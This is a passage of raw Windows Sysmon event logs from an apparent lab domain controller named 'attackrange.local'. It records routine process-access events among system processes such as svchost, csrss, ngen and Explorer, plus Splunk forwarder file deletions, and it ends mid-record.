10341000x800000000000000044335Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:48.588{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F60-613B-5909-00000000F001}5656C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044334Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:48.567{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F60-613B-5909-00000000F001}5656C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044333Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:48.567{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F60-613B-5909-00000000F001}5656C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044332Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:48.517{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F60-613B-5809-00000000F001}6492C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044331Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:48.507{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F60-613B-5809-00000000F001}6492C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044330Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:48.507{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F60-613B-5809-00000000F001}6492C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 23542300x800000000000000044329Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:48.483{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=098AABCD97CD44FCF7DD713ED8431016,SHA256=09656FB7024A2D08955EDE243BF6E08A2FC3106A82F93196875964432FAD1004,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000044328Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:48.467{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F60-613B-5709-00000000F001}6636C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000044327Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:48.457{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=47FBBEB4A61799EF9B617D4CE574EFEB,SHA256=2A5A30BFF571C3E757F1006370ACF0FC90152AF40714A20E45F20335A2BB36C4,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 10341000x800000000000000044326Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:48.447{7BD73061-65AF-613B-0500-00000000F001}412500C:\Windows\system32\csrss.exe{7BD73061-6F60-613B-5709-00000000F001}6636C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044325Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:48.447{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F60-613B-5709-00000000F001}6636C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044324Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:48.417{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6F60-613B-5609-00000000F001}6380C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+5126|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+22b4b|C:\Windows\System32\RPCRT4.dll+653fa|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044323Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:48.397{7BD73061-65AF-613B-0500-00000000F001}412672C:\Windows\system32\csrss.exe{7BD73061-6F60-613B-5609-00000000F001}6380C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x1fffffC:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\system32\basesrv.DLL+2f47|C:\Windows\SYSTEM32\CSRSRV.dll+5645|C:\Windows\SYSTEM32\ntdll.dll+5178f 10341000x800000000000000044322Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:48.397{7BD73061-6F29-613B-3408-00000000F001}5556108C:\Windows\Microsoft.NET\Framework\v4.0.30319\ngen.exe{7BD73061-6F60-613B-5609-00000000F001}6380C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvw.exe0x103801C:\Windows\SYSTEM32\ntdll.dll+a7404|C:\Windows\System32\wow64.dll+10c0b|C:\Windows\System32\wow64.dll+10499|C:\Windows\System32\wow64.dll+6e75|C:\Windows\System32\wow64cpu.dll+1d07|C:\Windows\System32\wow64.dll+1bf87|C:\Windows\System32\wow64.dll+cba0|C:\Windows\SYSTEM32\ntdll.dll+92e47|C:\Windows\SYSTEM32\ntdll.dll+78135|C:\Windows\SYSTEM32\ntdll.dll+77f9e|C:\Windows\SYSTEM32\ntdll.dll+6f66c(wow64)|C:\Windows\System32\KERNELBASE.dll+d9148(wow64)|C:\Windows\System32\KERNELBASE.dll+d7e2c(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+52c7(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+3805(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+c9ed(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cbbe(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d0cd(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+cf32(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d41e(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+d6be(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+de85(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+df91(wow64)|C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorsvc.dll+e032(wow64) 10341000x800000000000000044321Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:48.317{7BD73061-65B2-613B-0C00-00000000F001}836288C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x3200C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\SYSTEM32\psmserviceexthost.dll+78b1|C:\Windows\SYSTEM32\psmserviceexthost.dll+739b|C:\Windows\SYSTEM32\psmserviceexthost.dll+ae34|C:\Windows\SYSTEM32\psmserviceexthost.dll+7bae|C:\Windows\SYSTEM32\psmserviceexthost.dll+12141|C:\Windows\SYSTEM32\psmserviceexthost.dll+170e8|C:\Windows\SYSTEM32\resourcepolicyserver.dll+12326|C:\Windows\SYSTEM32\resourcepolicyserver.dll+bac5|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+62d4c|C:\Windows\System32\RPCRT4.dll+4a274|C:\Windows\System32\RPCRT4.dll+4918d|C:\Windows\System32\RPCRT4.dll+49a3b|C:\Windows\System32\RPCRT4.dll+310ac|C:\Windows\System32\RPCRT4.dll+3152c|C:\Windows\System32\RPCRT4.dll+1ae1c|C:\Windows\System32\RPCRT4.dll+1c67b|C:\Windows\System32\RPCRT4.dll+43a2a|C:\Windows\SYSTEM32\ntdll.dll+1d34e|C:\Windows\SYSTEM32\ntdll.dll+1ecb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044320Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:48.317{7BD73061-6D0F-613B-9406-00000000F001}44807004C:\Windows\Explorer.EXE{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\twinapi.appcore.dll+1ea06|C:\Windows\SYSTEM32\twinapi.appcore.dll+1e3d1|C:\Windows\SYSTEM32\twinapi.appcore.dll+1dbcc|C:\Windows\SYSTEM32\twinapi.appcore.dll+1d777|C:\Windows\system32\twinui.pcshell.dll+27c24|C:\Windows\system32\twinui.pcshell.dll+17316|C:\Windows\system32\twinui.pcshell.dll+17671|C:\Windows\system32\twinui.pcshell.dll+176a9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044319Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:48.317{7BD73061-6D0F-613B-9406-00000000F001}44807004C:\Windows\Explorer.EXE{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\twinapi.appcore.dll+1e95e|C:\Windows\SYSTEM32\twinapi.appcore.dll+1e3d1|C:\Windows\SYSTEM32\twinapi.appcore.dll+1dbcc|C:\Windows\SYSTEM32\twinapi.appcore.dll+1d777|C:\Windows\system32\twinui.pcshell.dll+27c24|C:\Windows\system32\twinui.pcshell.dll+17316|C:\Windows\system32\twinui.pcshell.dll+17671|C:\Windows\system32\twinui.pcshell.dll+176a9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044318Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:48.317{7BD73061-6D0F-613B-9406-00000000F001}44803416C:\Windows\Explorer.EXE{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\twinapi.appcore.dll+1ea06|C:\Windows\SYSTEM32\twinapi.appcore.dll+1e3d1|C:\Windows\SYSTEM32\twinapi.appcore.dll+1dbcc|C:\Windows\SYSTEM32\twinapi.appcore.dll+1d777|C:\Windows\System32\TwinUI.dll+b6c18|C:\Windows\System32\TwinUI.dll+b7777|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27a9|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+61d7f|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c|C:\Windows\System32\windows.immersiveshell.serviceprovider.dll+5be0|C:\Windows\System32\windows.immersiveshell.serviceprovider.dll+635e 10341000x800000000000000044317Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:48.317{7BD73061-6D0F-613B-9406-00000000F001}44803416C:\Windows\Explorer.EXE{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\twinapi.appcore.dll+1e95e|C:\Windows\SYSTEM32\twinapi.appcore.dll+1e3d1|C:\Windows\SYSTEM32\twinapi.appcore.dll+1dbcc|C:\Windows\SYSTEM32\twinapi.appcore.dll+1d777|C:\Windows\System32\TwinUI.dll+b6c18|C:\Windows\System32\TwinUI.dll+b7777|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27a9|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+61d7f|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c|C:\Windows\System32\windows.immersiveshell.serviceprovider.dll+5be0|C:\Windows\System32\windows.immersiveshell.serviceprovider.dll+635e 10341000x800000000000000044316Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:48.317{7BD73061-6D0E-613B-8B06-00000000F001}45006384C:\Windows\system32\sihost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x101000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\usermgrcli.dll+1121|C:\Windows\System32\modernexecserver.dll+3f342|C:\Windows\System32\modernexecserver.dll+3fc6e|C:\Windows\SYSTEM32\twinapi.appcore.dll+2effb|C:\Windows\SYSTEM32\twinapi.appcore.dll+2f0e4|C:\Windows\SYSTEM32\twinapi.appcore.dll+357b5|C:\Windows\SYSTEM32\twinapi.appcore.dll+34ef6|C:\Windows\SYSTEM32\twinapi.appcore.dll+34eb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044315Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:48.307{7BD73061-6D0E-613B-8B06-00000000F001}45006384C:\Windows\system32\sihost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\usermgrcli.dll+119d|C:\Windows\System32\modernexecserver.dll+41bd7|C:\Windows\System32\modernexecserver.dll+3f0db|C:\Windows\System32\modernexecserver.dll+3fbe5|C:\Windows\SYSTEM32\twinapi.appcore.dll+2effb|C:\Windows\SYSTEM32\twinapi.appcore.dll+2f0e4|C:\Windows\SYSTEM32\twinapi.appcore.dll+357b5|C:\Windows\SYSTEM32\twinapi.appcore.dll+34ef6|C:\Windows\SYSTEM32\twinapi.appcore.dll+34eb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044314Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:48.307{7BD73061-6D0E-613B-8B06-00000000F001}45006384C:\Windows\system32\sihost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\usermgrcli.dll+119d|C:\Windows\System32\modernexecserver.dll+41bd7|C:\Windows\System32\modernexecserver.dll+3f0db|C:\Windows\System32\modernexecserver.dll+3f049|C:\Windows\System32\modernexecserver.dll+3fd2f|C:\Windows\System32\modernexecserver.dll+3fe52|C:\Windows\SYSTEM32\twinapi.appcore.dll+2efb4|C:\Windows\SYSTEM32\twinapi.appcore.dll+2f0e4|C:\Windows\SYSTEM32\twinapi.appcore.dll+357ab|C:\Windows\SYSTEM32\twinapi.appcore.dll+34ef6|C:\Windows\SYSTEM32\twinapi.appcore.dll+34eb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044313Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:48.307{7BD73061-6D0E-613B-8B06-00000000F001}45006384C:\Windows\system32\sihost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\usermgrcli.dll+119d|C:\Windows\System32\modernexecserver.dll+41bd7|C:\Windows\System32\modernexecserver.dll+3f6a2|C:\Windows\System32\modernexecserver.dll+3fd1e|C:\Windows\System32\modernexecserver.dll+3fe52|C:\Windows\SYSTEM32\twinapi.appcore.dll+2efb4|C:\Windows\SYSTEM32\twinapi.appcore.dll+2f0e4|C:\Windows\SYSTEM32\twinapi.appcore.dll+357ab|C:\Windows\SYSTEM32\twinapi.appcore.dll+34ef6|C:\Windows\SYSTEM32\twinapi.appcore.dll+34eb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044312Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:44:48.307{7BD73061-6D0E-613B-8B06-00000000F001}45006384C:\Windows\system32\sihost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x101000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\SYSTEM32\usermgrcli.dll+1121|C:\Windows\System32\modernexecserver.dll+3f342|C:\Windows\System32\modernexecserver.dll+3fd0b|C:\Windows\System32\modernexecserver.dll+3fe52|C:\Windows\SYSTEM32\twinapi.appcore.dll+2efb4|C:\Windows\SYSTEM32\twinapi.appcore.dll+2f0e4|C:\Windows\SYSTEM32\twinapi.appcore.dll+357ab|C:\Windows\SYSTEM32\twinapi.appcore.dll+34ef6|C:\Windows\SYSTEM32\twinapi.appcore.dll+34eb9|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000044311Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 